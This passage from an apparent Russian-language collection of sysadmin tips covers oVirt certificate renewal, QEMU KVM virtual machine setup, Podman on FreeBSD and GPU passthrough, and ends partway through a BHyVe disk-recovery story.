  • oVirt node - virt-host1.example.test, virt-host2.example.test, virt-host3.example.test Обмен данными между oVirt engine и oVirt node осуществляется с использованием SSL-сертификатов. Автоматическое обновление сертификатов не производится, поэтому очень важно обновлять сертификаты вручную до истечения сроков их действия. Стандартными средствами обновить сертификаты можно, если до окончания срока действия осталось менее 60 дней (для версии 4.5). В oVirt необходимо обновлять вручную два типа сертификатов:
  • сертификаты oVirt Engine - службы, которая предоставляет графический интерфейс и REST API для управления ресурсами виртуальных машин
  • сертификаты для обмена данным между гипервизорами oVirt node и центром управления виртуальными машинами oVirt Engine Определить дату окончания действия сертификатов oVirt Engine можно в свойствах сертификата сайта. Определить дату окончания действия сертификатов oVirt node можно с помощью openssl:
  • Подключаемся через SSH на физический сервер oVirt node
  • Определяем дату: [root@virt-host1 ~]# openssl x509 -noout -enddate -in /etc/pki/vdsm/certs/vdsmcert.pem В версиях oVirt до 4.5, у всех сертификатов время жизни составляет 398 дней. Начиная с версии 4.5, у самоподписанных сертификатов для обмена данным между гипервизорами oVirt node и центром управления виртуальными машинами oVirt engine установлено время действия 5 лет. У сертификатов, которые видят браузеры, срок действия установлен в 398 дней, их необходимо обновлять раз в год. Процедура обновления действующих сертификатов описана в официальной документации. Если вы допустите истечение срока действия сертификатов, то гипервизоры и центр управления Engine перестанут взаимодействовать. В Web-консоль невозможно будет войти, виртуальные машины продолжать работать, но с ними ничего нельзя будет сделать: нельзя изменить параметры виртуального железа, нельзя мигрировать на другой узел, после выключения ВМ её будет невозможно включить снова. Восстановление займёт много времени. Процедура восстановления просроченных сертификатов описана в руководстве. Для доступа к нему необходима действующая платная подписка Red Hat Virtualization (RHV) 4.x. Решение для восстановления без подписки я обнаружил на GitHub. Автор подготовил решения для Ansible в соответствии с рекомендациями от Red Hat. Если вы знакомы с Ansible и у вас много гипервизоров с просроченными сертификатами, то можно использовать решение от natman. Решение ниже подходит для небольшого числа гипервизоров, но при условии, что центр управления Engine у вас запущен, и вы можете получить к нему доступ через ssh. Предполагается, что в качестве центра управления используется HostedEngine - центр управления гипервизорами запускается внутри самого гипервизора. Если центр управления Engine выключен и не запускается, а в журнале journalctl на гипервизоре появляются записи libvirtd[2101]: The server certificate /etc/pki/vdsm/certs/vdsmcert.pem has expired ... systemd[1]: Failed to start Virtualization daemon то единственным вариантом восстановления будет изменение времени на гипервизоре на более ранее (в пределах срока действия сертификатов) и обновление сертификатов стандартным образом. Обновление сертификатов до истечения сроков действия Обновление сертификатов oVirt node Переводим узел (гипервизор) в режим обслуживания (Managеment -> Maintenance) - все машины на узле будут мигрированы, привязанные (pinned) машины будут выключены. Выбираем Installation -> Enroll Certificate Выводим узел из режима обслуживания Повторяем операции для всех оставшихся узлов в кластере Обновление сертификатов oVirt Engine Подключаемся к физическому серверу гипервизору oVirt node через SSH С узла Ovirt host переводим центр управления ВМ в режим обслуживания (для Self-hosted типа развёртывания) [root@virt-host1 ~]# hosted-engine --set-maintenance --mode=global Подключаемся к виртуальной машине с центром управления oVirt engine через SSH, запускаем настройку engine (web-консоль будет остановлена) [root@virt-he ~]# engine-setup --offline Отвечаем на вопросы Если до истечения срока действия сертификата осталось менее 60 дней, то скрипт предложит обновить сертификаты: Renew certificates? (Yes, No) [No]: Yes Дожидаемся окончания работы скрипта. С узла Ovirt host выводим центр управления ВМ из режима обслуживания: [root@virt-host1 ~]# hosted-engine --set-maintenance --mode=none Подключаемся к web-консоли и проверяем дату окончания действия сертификата. Обновление сертификатов после истечения сроков действия Если вы допустите истечение срока действия сертификатов, то в web-консоль невозможно будет войти. Гипервизоры и центр управления Engine перестанут взаимодействовать. Чтобы восстановить сертификаты выполняем следующие шаги. Подключаемся через SSH на узел гипервизора oVirt node с истёкшим сертификатом (в примере имя узла virt-host1). Создаем запрос сертификата на основании ключа службы VDSM /etc/pki/vdsm/keys/vdsmkey.pem [root@virt-host1 ~]# openssl req -new \ -key /etc/pki/vdsm/keys/vdsmkey.pem \ -out /tmp/test_virt-host1_vdsm.csr \ -batch \ -subj "/" Подписываем запрос с помощью корневого сертификата oVirt engine, для этого подключаемся через SSH на ВМ с oVirt engine, копируем запрос с oVirt node (virt-host1) на oVirt engine в /tmp и выполняем команды [root@virt-he ~]# cd /etc/pki/ovirt-engine/ [root@virt-he ~]# openssl ca -batch \ -policy policy_match \ -config openssl.conf \ -cert ca.pem \ -keyfile private/ca.pem \ -days +"365" \ -in /tmp/test_virt-host1_vdsm.csr \ -out /tmp/test_virt-host1_vdsm.cer \ -startdate `(date --utc --date "now -1 days" +"%y%m%d%H%M%SZ")` \ -subj "/O=example.test/CN=virt-host1.example.test\ -utf8 Имя субъекта в сертификате должно быть в формате "/O=example.test/CN=virt-host1.example.test", укажите ваши значения. Копируем новый сертификат с oVirt engine на oVirt node (virt-host1) в /tmp. Копируем новый сертификат в каталоги служб предварительно создав копию существующих сертификатов [root@virt-host1 ~]# cp /etc/pki/vdsm/certs/vdsmcert.pem /etc/pki/vdsm/certs/vdsmcert.pem.bak [root@virt-host1 ~]# cp /tmp/test_virt-host1_vdsm.cer /etc/pki/vdsm/certs/vdsmcert.pem [root@virt-host1 ~]# cp /etc/pki/vdsm/libvirt-spice/server-cert.pem /etc/pki/vdsm/libvirt-spice/server-cert.pem.bak [root@virt-host1 ~]# cp /etc/pki/vdsm/certs/vdsmcert.pem /etc/pki/vdsm/libvirt-spice/server-cert.pem [root@virt-host1 ~]# cp /etc/pki/libvirt/clientcert.pem /etc/pki/libvirt/clientcert.pem.bak [root@virt-host1 ~]# cp /etc/pki/vdsm/certs/vdsmcert.pem /etc/pki/libvirt/clientcert.pem Перезапускаем службы: [root@virt-host1 ~]# systemctl restart libvirtd [root@virt-host1 ~]# systemctl restart vdsmd Проверяем срок действия сертификата [root@virt-host1 ~]# openssl x509 -noout -enddate -in /etc/pki/vdsm/certs/vdsmcert.pem Повторяем процедуру на остальных узлах с истёкшим сроком действия сертификатов. Выполняем обновления сертификатов центра управления, как описано в "Обновление сертификатов oVirt Engine" Заходим на web-консоль и проверяем работу кластера. У созданных таким образом сертификатов будет отсутствовать subject alternative name, о чём будет выдано предупреждение (через несколько часов): Certificate of host virt-host1.example.test is invalid. The certificate doesn't contain valid subject alternative name, please enroll new certificate for the host. Поэтому после восстановления доступа к web-консоли необходимо выполнить обновление сертификатов согласно официальной документации. Обновление сертификатов после истечения сроков действия при недоступном HostedEngine На практике данное решение не проверялось, но теоретически оно должно сработать. Если центр управления Engine выключен и не запускается, а в журнале journalctl на гипервизоре появляются записи libvirtd[2101]: The server certificate /etc/pki/vdsm/certs/vdsmcert.pem has expired ... systemd[1]: Failed to start Virtualization daemon Оставляем включенным один гипервизор oVirt node. Определяем время окончания действия сертификата гипервизора: [root@virt-host1 ~]# openssl x509 -noout -enddate -in /etc/pki/vdsm/certs/vdsmcert.pem Устанавливаем дату и время до окончания действия сертификата [root@virt-host1 ~]# systemctl stop chronyd [root@virt-host1 ~]# timedatectl set-time "2023-01-01 12:00:00" Перезапускаем службы [root@virt-host1 ~]# systemctl restart libvirtd [root@virt-host1 ~]# systemctl restart vdsmd Подключаемся к libvirtd через virsh и ждём, когда запустится HostedEngine [root@virt-host1 ~]# virsh -c qemu:///system?authfile=/etc/ovirt-hosted-engine/virsh_auth.conf virsh # list --all Id Name State ------------------------------ 1 HostedEngine running Выполняем обновление сертификатов по процедуре "Обновление сертификатов до истечения сроков действия" Использованные материалы Документация oVirt Проект natman Wikipedia Блог IT-KB
  •  
    ----* Создание виртуальных машин с помощью Qemu KVM (доп. ссылка 1)   Автор: Slonik  [комментарии]
     
    В статье опишу мой опыт про подготовку и запуск виртуальных машин (ВМ) с
    помощью открытых и бесплатных средств виртуализации в Linux - Qemu KVM.
    
    В качестве среды для выполнения виртуальных машин будет использоваться Fedora
    Linux 36, аналогично ВМ можно запускать в Centos 8 и выше.
    
    Для запуска ВМ понадобятся пакеты:
    
    
  • qemu-kvm (qemu-system-x86) - эмулятор
  • qemu-img - средство создания и управления виртуальными дисками
  • edk2-ovmf - образы прошивки UEFI Будет рассмотрено три типа виртуальных машин:
  • Виртуальная машина с BIOS
  • Виртуальная машина с UEFI
  • Кластер виртуальных машин с общим диском Подготовка виртуальной сети В Qemu я использую два режима подключения сети в гостевую ВМ - user networking и с использованием устройств tap. Первый режим проще, не требует root прав, но у него меньше производительность, в таком режиме не работает протокол ICMP и он не позволяет обратится к ВМ из физической сети. Второй режим предоставляет большее быстродействие при работе с сетью, его можно гибко настраивать, но он требует root права. Пользовательская виртуальная сеть Простейшую ВМ с пользовательской сетью можно запустить так: qemu-kvm \ -m 1G \ -device virtio-net-pci,netdev=lan \ -netdev user,id=lan \ -drive file=/tmp/livecd.iso,media=cdrom Ключевым параметром, который включает пользовательский режим сети это -netdev user. Такая команда запустит LiveCD внутри ВМ c 1024 МБ ОЗУ, в качестве сетевой карты будет использовано устройство Virtio. Виртуальная машина автоматически получит ip-адрес из подсети 10.0.2.0/24, шлюз - 10.0.2.2, dns-сервер - 10.0.2.3. К физическому хосту можно обратиться по адресу 10.0.2.2. ICMP пакеты через такой тип сети не проходят. Виртуальная сеть с использованием tap-устройств В данном режиме при запуске ВМ в физической системе будет создано виртуальное сетевое tap-устройство, что потребует root прав sudo qemu-kvm \ -m 1G \ -device virtio-net-pci,netdev=lan \ -netdev tap,id=lan,ifname=tap0 \ -drive file=/tmp/livecd.iso,media=cdrom При таких настройках машина запустится, но не будет иметь доступа к физической сети. Для предоставления доступа необходимо создать сетевой мост, добавить в него физический сетевой адаптер хоста и настроить скрипты добавления виртуального сетевого tap-устройства в сетевой мост. Предположим, что физический хост подключен к сети через адаптер enp3s0 и имеет адрес 192.168.1.50/24, шлюз 192.168.1.1. Удалим все сетевые настройки у адаптера enp3s0 и создадим сетевой мост с помощью Network Manager: root# nmcli connection show root# nmcli connection delete <имя подключения enp3s0> root# nmcli connection add type bridge ifname br0 con-name bridge bridge.stp false ipv4.method manual ipv4.addresses "192.168.1.50/24" ipv4.gateway 192.168.1.1 ipv6.method disabled Добавляем физический адаптер хоста в сетевой мост: nmcli con add type bridge-slave ifname enp3s0 con-name nicHost master br0 Настраиваем скрипт добавления виртуального сетевого tap-устройства к мосту - /etc/qemu-ifup: #!/bin/sh /usr/sbin/brctl addif br0 $1 /usr/sbin/ip link set dev $1 up Скрипт удаления tap-устройства из моста /etc/qemu-ifdown: #!/bin/sh /usr/sbin/ip link set dev $1 down /usr/sbin/brctl delif br0 $1 В скриптах $1 указывает на имя виртуального сетевого адаптера (tap0, tap1 и т.п.). Если потребуется разместить скрипты по другому пути, то их месторасположение можно указать в свойствах виртуального сетевого устройства с помощью директив script и downscript: sudo qemu-kvm \ -m 1G \ -device virtio-net-pci,netdev=lan \ -netdev tap,id=lan,ifname=tap0,script=/etc/qemu-ifup,downscript=/etc/qemu-ifdown \ -drive file=/tmp/livecd.iso,media=cdrom Запускаем виртуальную машину и проверяем сеть. ВМ получила адрес от DHCP сервера локальной сети. Проверяем состав сетевого моста на физическом хосте с помощью команды brctl show: В хост-системе появилось устройство tap0, и оно автоматически добавилось в сетевой мост. По-умолчанию, все виртуальные сетевые адаптеры получают MAC адрес 52:54:00:12:34:56, если потребуется запустить несколько виртуальных машин на хосте, то необходимо указать разные адреса с помощью параметра mac: sudo qemu-kvm \ -m 1G \ -device virtio-net-pci,mac=52:54:00:00:00:01,netdev=lan \ -netdev tap,id=lan,ifname=tap0,script=/etc/qemu-ifup,downscript=/etc/qemu-ifdown \ -drive file=/tmp/livecd.iso,media=cdrom Подготовка виртуальных дисков Ранее мы запускали ВМ с LiveCD. Для того чтобы установить операционную систему в виртуальную машину нам понадобится создать виртуальные диски для хранения данных. Создание виртуальных дисков qemu-img create -f qcow2 vmpath/disk.qcow2 20G Данная команда создаст "тонкий" диск в формате qcow2, объёмом 20 Гб. Если потребуется создать кластерный диск, то необходимо для него всё место выделить заранее и использовать тип диска raw: qemu-img create -f raw -o preallocation=falloc shared/shared.raw 10G Использование снимков состояния дисков Формат дисков qcow2 позволяет создавать и удалять внутри диска снимки состояний (снапшоты):
  • создание снимка: qemu-img snapshot -c snapshotName vmpath/disk.qcow2
  • список снимков: qemu-img snapshot -l vmpath/disk.qcow2
  • применить снимок (вернуть диск в состояние на момент снимка): qemu-img snapshot -a snapshotName vmpath/disk.qcow2
  • удалить снимок: qemu-img snapshot -d snapshotName vmpath/disk.qcow2 Вся работа со снимками будет производится внутри одного образа, что может потребовать времени. Другим способом создания снимков состояний является создание промежуточного файла (backing file) - при создании такого файла вся запись будет вестись в него вместо базового образа: qemu-img create -f qcow2 -F qcow2 -b vmpath/disk.qcow2 vmpath/backingDisk.qcow2 При запуске ВМ указываем в качестве диска промежуточный файл: qemu-kvm -m 1G -drive file=vmpath/backingDisk.qcow2,media=disk Чтобы откатить снапшот, достаточно перенастроить запуск на изначальный образ диска и удалить снапшот. qemu-kvm -m 1G -drive file=vmpath/disk.qcow2 ,media=disk rm vmpath/backingDisk.qcow2 Изменение первоначального образа приведёт к повреждению снапшота, поэтому после запуска ВМ с оригинальным диском все снапшоты станут бесполезными. Подключение разделов виртуального диска к хост-системе Если возникнет необходимость обратиться к файлам на виртуальном диске напрямую с хост-системы, то необходимо сначала смонтировать образ. Для того, чтобы смонтировать разделы виртуального диска к хост-системе необходимо воспользоваться утилитой qemu-nbd. 1. Загружаем модуль ядра nbd root# modprobe nbd max_part=8 2. Подключаем образ виртуального диска как сетевое блочное устройство: root# qemu-nbd --connect=/dev/nbd0 vmpath/disk.qcow2 3. Выполняем нужные нам операции с устройством: root# fdisk /dev/nbd0 -l root# mount /dev/nbd0p1 /mnt/volume/ root# umount /dev/nbd0p1 4. Отключаем устройство root# qemu-nbd --disconnect /dev/nbd0 root# rmmod nbd Запуск виртуальной машины с BIOS в Qemu KVM По-умолчанию Qemu KVM запускает виртуальные машины с BIOS, поэтому особых настроек не требуется. Готовим диск для гостевой системы: qemu-img create -f qcow2 /mnt/virtual/bios/bios.qcow2 20G Запускаем ВМ: sudo qemu-kvm \ -machine pc \ -smbios type=1,manufacturer=oVirt,product=RHEL,version=1 \ -cpu host \ -accel kvm \ -smp cpus=2,sockets=1,cores=2 \ -m 1G \ -k en-us \ -vga qxl \ -rtc base=localtime \ -netdev tap,id=lan,ifname=tap0,script=/etc/qemu-ifup,downscript=/etc/qemu-ifdown \ -device virtio-net-pci,mac=52:54:00:00:00:01,netdev=lan \ -drive file=/mnt/virtual/bios/bios.qcow2,if=virtio,media=disk,index=0 \ -drive file=/mnt/shared/linuxos.iso,media=cdrom,index=1 Параметры:
  • machine - свойства чипсета, основные это pc (совместимый со многими и ОС) и q35 (поддерживает новые устройства)
  • smbios - описание BIOS
  • cpu - тип эмулируемого ЦП, host указывает использовать как в физической системе
  • accel - тип ускорение виртуализации
  • smp - описываем кол-во виртуальных ядер ЦП и их распределение по сокетам
  • m - объём ОЗУ
  • k - раскладка клавиатуры консоли
  • vga - тип виртуального видеоадаптера
  • rtc base - настройки часов RTC
  • netdev/device и drive - описание сетевой карты и виртуальных дисков Загружаемся с CD-ROM и устанавливаем ОС. Запуск виртуальной машины с UEFI в Qemu KVM Для запуска виртуальной машины с UEFI нам потребуются прошивки из пакета edk2-ovmf. Готовим виртуальный диск для гостевой системы: qemu-img create -f qcow2 /mnt/virtual/uefi/uefi.qcow2 20G Из пакета edk2-ovmf копируем образы UEFI и NVRAM: cp /usr/share/edk2/ovmf/OVMF_CODE.fd /mnt/virtual/uefi cp /usr/share/edk2/ovmf/OVMF_VARS.fd /mnt/virtual/uefi Запускаем ВМ: sudo qemu-kvm \ -machine q35 \ -smbios type=1,manufacturer=oVirt,product=RHEL,version=1 \ -cpu host \ -accel kvm \ -smp cpus=4,sockets=1,cores=4 \ -m 4G \ -k en-us \ -vga qxl \ -device virtio-net-pci,mac=52:54:00:00:00:02,netdev=lan \ -netdev tap,id=lan,ifname=tap1,script=/etc/qemu-ifup,downscript=/etc/qemu-ifdown \ -drive if=pflash,format=raw,readonly=on,file=/mnt/virtual/uefi/OVMF_CODE.fd \ -drive if=pflash,format=raw,file=/mnt/virtual/uefi/OVMF_VARS.fd \ -drive file=/mnt/virtual/uefi/uefi.qcow2,if=virtio,media=disk \ -drive file=/mnt/shared/linuxos.iso,media=cdrom Подключаем прошивку UEFI для чтения с помощью drive if=pflash с указанием readonly=on, а также файл для хранения NVRAM, но уже в режиме записи. Загружаемся с CD-ROM и устанавливаем ОС. Запуск виртуальных машин с UEFI с общим кластерным диском в Qemu KVM Рассмотрим пример запуска двух машин, где у каждой будет свой индивидуальный диск для ОС и один общий диск для кластера. Подключать диски будем с помощью устройства -device virtio-blk-pci, оно позволяет включить совместную запись на диск с нескольких виртуальных машин c помощью параметра share-rw=on. Готовим диски для гостевых систем: qemu-img create -f qcow2 /mnt/virtual/cluster/vm1-system.qcow2 20G qemu-img create -f qcow2 /mnt/virtual/cluster/vm2-system.qcow2 20G Для кластерного диска используем формат raw и заранее резервируем место. qemu-img create -f raw -o preallocation=falloc /mnt/virtual/cluster/shared.raw 10G Копируем образы прошивки UEFI и NVRAM: cp /usr/share/edk2/ovmf/OVMF_CODE.fd /mnt/virtual/cluster cp /usr/share/edk2/ovmf/OVMF_VARS.fd /mnt/virtual/cluster/OVMF_VARS_VM1.fd cp /usr/share/edk2/ovmf/OVMF_VARS.fd /mnt/virtual/cluster/OVMF_VARS_VM2.fd Запускаем ВМ 1: sudo qemu-kvm \ -machine q35 \ -smbios type=1,manufacturer=oVirt,product=RHEL,version=1 \ -cpu host \ -accel kvm \ -smp cpus=2,sockets=1,cores=2 \ -m 2G \ -k en-us \ -vga qxl \ -device virtio-net-pci,netdev=lan,mac=52:54:00:00:00:11 \ -netdev tap,id=lan,ifname=tap11 \ -drive if=pflash,format=raw,readonly=on,file=/mnt/virtual/cluster/OVMF_CODE.fd \ -drive if=pflash,format=raw,file=/mnt/virtual/cluster/OVMF_VARS_VM1.fd \ -device virtio-blk-pci,drive=drive0,share-rw=off \ -drive file=/mnt/virtual/cluster/vm1-system.qcow2,id=drive0,format=qcow2,if=none \ -device virtio-blk-pci,drive=drive1,share-rw=on \ -drive file=/mnt/virtual/cluster/shared.raw,id=drive1,format=raw,if=none \ -drive file=/mnt/shared/linuxos.iso,media=cdrom Запускаем ВМ 2: sudo qemu-kvm \ -machine q35 \ -smbios type=1,manufacturer=oVirt,product=RHEL,version=1 \ -cpu host \ -accel kvm \ -smp cpus=2,sockets=1,cores=2 \ -m 2G \ -k en-us \ -vga qxl \ -device virtio-net-pci,netdev=lan,mac=52:54:00:00:00:12 \ -netdev tap,id=lan,ifname=tap12 \ -drive if=pflash,format=raw,readonly=on,file=/mnt/virtual/cluster/OVMF_CODE.fd \ -drive if=pflash,format=raw,file=/mnt/virtual/cluster/OVMF_VARS_VM2.fd \ -device virtio-blk-pci,drive=drive0,share-rw=off \ -drive file=/mnt/virtual/cluster/vm2-system.qcow2,id=drive0,format=qcow2,if=none \ -device virtio-blk-pci,drive=drive1,share-rw=on \ -drive file=/mnt/virtual/cluster/shared.raw,id=drive1,format=raw,if=none \ -drive file=/mnt/shared/linuxos.iso,media=cdrom Далее нужно установить ОС внутри ВМ и настроить работу с кластерным диском.
  •  
    ----* Использование инструментария Podman для запуска контейнеров во FreeBSD (доп. ссылка 1)   [комментарии]
     
    Начиная с выпуска FreeBSD 14.2 стали формироваться образы контейнеров в
    формате  OCI (Open Container Initiative). Для запуска контейнеров на основе
    этих образов можно применять инструментарий Podman, который портирован для
    FreeBSD и доступен для установки из пакетов.
    
    Для загрузки предложены три варианта образов FreeBSD:
    
    
  • static - урезанное окружение для выполнения только статически собранных исполняемых файлов
  • dynamic - расширенный вариант окружения static с компонентами для использования разделяемых библиотек и запуска динамически скомпонованных исполняемых файлов.
  • minimal - дополняет вариант dynamic утилитами для формирования привычного консольного окружения с UNIX shell и пакетным менеджером. Установка Podman во FreeBSD. pkg install -r FreeBSD -y podman-suite emulators/qemu-user-static Настройка ZFS-раздела для контейнеров: zfs create -o mountpoint=/var/db/containers zroot/containers zfs snapshot zroot/containers@empty При желании использовать UFS вместо ZFS в /usr/local/etc/containers/storage.conf заменяем "zfs"/driver на "vfs": sed -I .bak -e 's/driver = "zfs"/driver = "vfs"/' \ /usr/local/etc/containers/storage.conf Создаём конфигурацию межсетевого экрана PF - /etc/pf.conf, используя пример /usr/local/etc/containers/pf.conf.sample. Перезапускаем PF sysctl net.pf.filter_local=1 service pf restart Монтируем /dev/fd: mount -t fdescfs fdesc /dev/fd Создаём необходимые для Podman файлы конфигурации, используя примеры: /usr/local/etc/containers/containers.conf.sample /usr/local/etc/containers/policy.json.sample /usr/local/etc/containers/registries.conf.sample /usr/local/etc/containers/storage.conf.sample Устанавливаем образы контейнеров minimal, dynamic и static с FreeBSD 4.2: export OCIBASE=https://download.freebsd.org/releases/OCI-IMAGES/14.2-RELEASE/amd64/Latest podman load -i=$OCIBASE/FreeBSD-14.2-RELEASE-amd64-container-image-minimal.txz podman load -i=$OCIBASE/FreeBSD-14.2-RELEASE-amd64-container-image-dynamic.txz podman load -i=$OCIBASE/FreeBSD-14.2-RELEASE-amd64-container-image-static.txz Проверяем список установленных образов контейнеров командами "podman images" и "buildah images": podman images REPOSITORY TAG IMAGE ID CREATED SIZE localhost/freebsd14-minimal 14.2-RELEASE-amd64 c5f3e77557a9 4 days ago 35.1 MB localhost/freebsd14-dynamic 14.2-RELEASE-amd64 ebf7538b22f4 4 days ago 15.9 MB localhost/freebsd14-static 14.2-RELEASE-amd64 7876fe59dbb3 4 days ago 5.45 MB buildah images REPOSITORY TAG IMAGE ID CREATED SIZE localhost/freebsd14-minimal 14.2-RELEASE-amd64 c5f3e77557a9 4 days ago 35.1 MB localhost/freebsd14-dynamic 14.2-RELEASE-amd64 ebf7538b22f4 4 days ago 15.9 MB localhost/freebsd14-static 14.2-RELEASE-amd64 7876fe59dbb3 4 days ago 5.45 MB Анализируем слои, образующие образ minimal, который является надстройкой над образами static и dynamic: podman image tree localhost/freebsd14-minimal:14.2-RELEASE-amd64 Image ID: c5f3e77557a9 Tags: [localhost/freebsd14-minimal:14.2-RELEASE-amd64] Size: 35.07MB Image Layers ├── ID: cd53fb07fb66 Size: 5.449MB Top Layer of: [localhost/freebsd14-static:14.2-RELEASE-amd64] ├── ID: a01d37f7777b Size: 10.4MB Top Layer of: [localhost/freebsd14-dynamic:14.2-RELEASE-amd64] └── ID: 36b0c80ca1f7 Size: 19.21MB Top Layer of: [localhost/freebsd14-minimal:14.2-RELEASE-amd64] Сверяем контрольные суммы образов: podman inspect localhost/freebsd14-minimal:14.2-RELEASE-amd64 Запускаем /bin/sh в контейнере: podman run -it localhost/freebsd14-minimal:14.2-RELEASE-amd64 /bin/sh
  •  
    ----* Проброс графического адаптера в виртуальную машину KVM   Автор: anon1233456  [комментарии]
     
    Для проброса графического адаптера в виртуальную машину  KVM следует указать
    при загрузке параметры ядра
    
       rd.driver.pre=vfio_pci rd.driver.pre=vfio-pciwq iommu=pt intel_iommu=on kvm.ignore_msrs=1 
    
    и добавить vfio-pci в initramfs:
    
       # as Root
       gpu="0000:06:00.0"
       aud="0000:06:00.1"
       gpu_vd="$(cat /sys/bus/pci/devices/$gpu/vendor) $(cat /sys/bus/pci/devices/$gpu/device)"
       aud_vd="$(cat /sys/bus/pci/devices/$aud/vendor) $(cat /sys/bus/pci/devices/$aud/device)"
       
       function bind_vfio {
         echo "$gpu" > "/sys/bus/pci/devices/$gpu/driver/unbind"
         echo "$aud" > "/sys/bus/pci/devices/$aud/driver/unbind"
       
       # https://www.kernel.org/doc/Documentation/ABI/testing/sysfs-bus-pci
         echo "$gpu_vd" > /sys/bus/pci/drivers/vfio-pci/new_id
         echo "$aud_vd" > /sys/bus/pci/drivers/vfio-pci/new_id
       }
       
       function unbind_vfio {
         echo "$gpu_vd" > "/sys/bus/pci/drivers/vfio-pci/remove_id"
         echo "$aud_vd" > "/sys/bus/pci/drivers/vfio-pci/remove_id"
       
         echo 1 > "/sys/bus/pci/devices/$gpu/remove"
         echo 1 > "/sys/bus/pci/devices/$aud/remove"
         
         echo 1 > "/sys/bus/pci/rescan"
       }
       
       bind_vfio
       
       #QEMU emulator version 8.2.2 (qemu-8.2.2-1.fc40)
       NETWORK_DEVICE="virtio-net"
       MAC_ADDRESS="00:16:cb:00:21:19"
       # 0x28 - Raptor Lake fix. https://github.com/tianocore/edk2/discussions/4662
       CPU="host,host-phys-bits-limit=0x28"
       args=(
       -display gtk,grab-on-hover=on,full-screen=on
       -machine q35
       -accel kvm
       -cpu $CPU
       -m size=17338368k
       -overcommit mem-lock=off
       -smp 32,sockets=1,dies=1,clusters=1,cores=32,threads=1
       -no-user-config
       -nodefaults
       -rtc base=localtime,driftfix=slew
       -global kvm-pit.lost_tick_policy=delay
       -global ICH9-LPC.disable_s3=1
       -global ICH9-LPC.disable_s4=1
       -boot menu=off,strict=on
       -device qemu-xhci,id=xhci
       # VFIO 
       # VERY IMPORTANT PART. PLEASE NOTE THE FORMAT OF COMMAND
       # id":"pci.5","bus":"pcie.0","addr":"0x2.0x4" and "id":"pci.6","bus":"pcie.0","addr":"0x2.0x5"
       -device pcie-root-port,bus=pcie.0,id=pci_root,multifunction=true,addr=0x2
       -device '{"driver":"pcie-root-port","port":20,"chassis":5,"id":"pci.5","bus":"pcie.0","addr":"0x2.0x4"}'
       -device '{"driver":"pcie-root-port","port":21,"chassis":6,"id":"pci.6","bus":"pcie.0","addr":"0x2.0x5"}'
       -device '{"driver":"vfio-pci","host":"0000:06:00.0","id":"gpu","bus":"pci.5","addr":"0x0"}'
       -device '{"driver":"vfio-pci","host":"0000:06:00.1","id":"hdmiaudio","bus":"pci.6","addr":"0x0"}'
       #
       -drive id=HDD,if=virtio,file="$HDD",format=qcow2
       # Network
       -netdev user,id=net0
       -device "$NETWORK_DEVICE",netdev=net0,id=net0,mac="$MAC_ADDRESS"
       #
       -device virtio-serial-pci
       -usb
       -device usb-kbd
       -device usb-tablet
       -monitor stdio
       # Audio
       -audiodev   pa,id=aud1,server="/run/user/1000/pulse/native"
       -device ich9-intel-hda
       -device hda-duplex,audiodev=aud1
       #
       -device qxl-vga,vgamem_mb=128,vram_size_mb=128
       -device virtio-balloon-pci
       
       )
       qemu-system-x86_64 "${args[@]}"
       
       unbind_vfio
    
     
    ----* Подключение в BHyVe zvol-диска с другой машины   Автор: КриоМух  [комментарии]
     
    Ситуация такова: Когда-то давно в 2019 году, обратилась знакомая бухгалтер, с
    проблемой, что вирусы зашифровали все её базы 1С, хранящиеся на личном сервере,
    который ей поднял и оформил для работы по RDP - её айтишник. Когда вирус всё
    пожрал, внезапно обнаружилось, что отсутствуют резервные копии, так как они
    хранились на том же WIN-сервере, и оказались также пожранными. Более того, в
    процессе разбирательств с этой машиной, выяснилось, что там 4 диска, 2 - HDD и
    2 SSD - и при этом все они отдельными устройствами, без намёка на хоть какую-то
    реализацию зеркалирования. Айтишника этого она с позором выгнала (отказавшись с
    ним иметь дело) и обратилась ко мне.
    
    Понятно что не за восстановлением пожранного, а за организацией сервера, в
    работе и надёжности которого она бы могла быть уверена.
    
    Я как старый пользователь FreeBSD, конечно сразу ей сформировал предложение -
    эту её машину превратить в сервер на FreeBSD, а уже на нём развернуть виртуалку
    с виндой, 1С и всей этой нужной для её работы кухней.
    
    На предложение докупить ещё один ПК, чтобы был отдельной машиной для резервных
    копий - отказалась, так как женщина она во-первых бухгалтер, а во-вторых
    прижимистый бухгалтер :)
    
    Всё ей в итоге оформил в виде хоста на FreeBSD, c её ZFS-ным зеркалом на 2 HDD
    и 2 SSD, и самбой, на которую складировались ежедневные бэкапы, которые затем
    скриптом самого хоста перекладывались в samba-ресурс, доступный только на чтение.
    
    Виртуалку оформил на BHyVe'е, так как виртуалбокс  медленнен, а BHyVe и
    православный и производительней. Sparse - файлом оформил диск на HDD-пуле под
    систему в виртуалке, и SSD-пул - подключил zvol'ом как диск под базы 1С.
    
    Разворачивал BHyVe не голый, а с управлением с помощью vm-bhyve. Всё
    завелось и работало, как часы. Но через год-полтора, женщина-бухгалтер и со
    мной "рассталась", так как всё работало, а я за поддержку желал ежемесячную,
    оговорённую сумму.
    
    Никаких козней я понятное дело не строил, да и не собирался, так как честь
    IT-шную беречь должно всегда. И все актуальные копии хранилища со всеми
    доступами и чего там наворочено в её "инфраструктуре" я ей при внесении правок
    сразу высылал и при завершении сотрудничества также актуальную выдал, с
    пояснениями, что там всё что есть, все доступы и прочая-прочая, что может
    понадобиться знать любому, кто будет заниматься её сервером. Ответы на все
    вопросы так сказать. Всё.
    
    Собственно прошло 3-4 года, и вот недавно звонит она мне и говорит, что всё
    пропало. Сервак не грузится, её текущий админ не знает что со всем этим делать,
    так как с его слов "там сложная распределённая система и диски эти не может
    посмотреть". Короче сервак подох, ничего не работает, и ей главное выцарапать
    оттуда 1С базы.
    
    Получил, включил, смотрю: Действительно ничего не грузится, что-то там с uefi
    разделом, и загрузка дохнет на начальных этапах. Думаю - ничего страшного, там
    же бэкапы были, сейчас быстренько смонтирую пул, да последний достану и дело с
    концом. Загрузился с флешки, подмонтировал пул, который был HDD, под самбу -
    смотрю а бэкап последний лежит прошлогодний. Место на пуле закончилось, так как
    самбу они ещё и как файловую шару использовали и накидали туда всякого, что
    подъело весь ресурс и баз видимо 1С ещё добавилось, и бэкапы делаться просто не
    смогли, а текущий специалист, то ли не следил, то ли не знал как следить,
    короче перефразируя (надеюсь) из тех, кто: "Не следил и не проверял бэкапы, но
    теперь уже будет всегда это делать (ещё раз надеюсь)".
    
    Тогда остался один путь - получить данные непосредственно с диска в виртуалке,
    который реализован был как отдельный датасет на SSD пуле. Отцепил я значит один
